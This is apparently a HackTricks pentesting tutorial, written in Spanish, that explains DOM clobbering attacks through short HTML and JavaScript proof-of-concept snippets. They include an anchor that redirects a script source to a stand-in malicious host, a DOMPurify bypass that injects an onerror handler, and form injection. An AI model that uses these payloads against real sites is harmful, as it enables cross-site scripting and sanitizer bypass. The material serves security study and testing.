hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

13 KiB

Dom Clobbering

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Conceptos básicos

Es posible generar variables globales dentro del contexto JS con los atributos id y name en las etiquetas HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Solo ciertos elementos pueden usar el atributo name para clobber globals, son: embed, form, iframe, image, img y object.

Curiosamente, cuando usas un elemento de formulario para clobber una variable, obtendrás el valor de toString del propio elemento: [object HTMLFormElement] pero con el ancla el toString será el href del ancla. Por lo tanto, si clobberizas usando la etiqueta a, puedes controlar el valor cuando se trata como una cadena:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

También es posible sobrescribir un array y atributos de un objeto:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Para sobrescribir un tercer atributo (por ejemplo, x.y.z), necesitas usar un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Sobrescribir más atributos es más complicado pero aún posible, utilizando iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} La etiqueta de estilo se utiliza para dar suficiente tiempo al iframe para renderizar. Sin ella, verás una alerta de indefinido. {% endhint %}

Para sobrescribir atributos más profundos, puedes usar iframes con codificación html de esta manera:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Burlando Filtros

Si un filtro está recorriendo las propiedades de un nodo usando algo como document.getElementByID('x').attributes, podrías sobrescribir la propiedad .attributes y romper el filtro. Otras propiedades del DOM como tagName, nodeName o parentNode y más también son sobrescribibles.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Sobrescribiendo window.someObject

En JavaScript es común encontrar:

var someObject = window.someObject || {};

Manipular HTML en la página permite sobrescribir someObject con un nodo DOM, potencialmente introduciendo vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar someObject con un elemento de anclaje apuntando a un script malicioso:

<a id=someObject href=//malicious-website.com/malicious.js></a>

En un código vulnerable como:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Este método explota la fuente del script para ejecutar código no deseado.

Truco: DOMPurify te permite usar el protocolo cid:, que no codifica en URL las comillas dobles. Esto significa que puedes inyectar una comilla doble codificada que se decodificará en tiempo de ejecución. Por lo tanto, inyectar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> hará que la comilla HTML codificada &quot; sea decodificada en tiempo de ejecución y escapará del valor del atributo para crear el evento onerror.

Otra técnica utiliza un elemento form. Algunas bibliotecas del lado del cliente inspeccionan los atributos de un elemento de formulario recién creado para limpiarlos. Sin embargo, al agregar un input con id=attributes dentro del formulario, sobrescribes efectivamente la propiedad de atributos, evitando que el sanitizador acceda a los atributos reales.

Puedes encontrar un ejemplo de este tipo de clobbering en este informe de CTF.

Sobrescribiendo el objeto documento

Según la documentación, es posible sobrescribir atributos del objeto documento utilizando el DOM Clobbering:

La interfaz Document admite propiedades con nombre. Los nombres de propiedad admitidos de un objeto Document document en cualquier momento consisten en lo siguiente, en orden de árbol según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos id que vienen antes de valores de atributos de nombre cuando el mismo elemento contribuye ambos:

- El valor del atributo de contenido de nombre para todos los elementos expuestos embed, form, iframe, img y elementos expuestos object que tienen un atributo de contenido de nombre no vacío y están en un árbol de documentos con el documento como su raíz;

- El valor del atributo de contenido id para todos los elementos expuestos object que tienen un atributo de contenido id no vacío y están en un árbol de documentos con el documento como su raíz;

- El valor del atributo de contenido id para todos los elementos img que tienen tanto un atributo de contenido id no vacío como un atributo de contenido de nombre no vacío, y están en un árbol de documentos con el documento como su raíz.

Utilizando esta técnica, puedes sobrescribir valores comúnmente utilizados como document.cookie, document.body, document.children e incluso métodos en la interfaz Document como document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Escribiendo después del elemento clobbered

Los resultados de las llamadas a document.getElementById() y document.querySelector() pueden ser alterados al inyectar una etiqueta <html> o <body> con un atributo de id idéntico. Así es como se puede hacer:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede evitar la interferencia de otros textos en el innerText, mejorando así la eficacia del ataque:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Investigaciones sobre SVG revelaron que una etiqueta <body> también puede ser utilizada de manera efectiva:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesario usar la etiqueta <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Sobrescribiendo Formularios

Es posible agregar nuevas entradas dentro de un formulario simplemente especificando el atributo form dentro de algunas etiquetas. Puedes usar esto para añadir nuevos valores dentro de un formulario e incluso agregar un nuevo botón para enviarlo (clickjacking o abusando de algún código JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Referencias

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!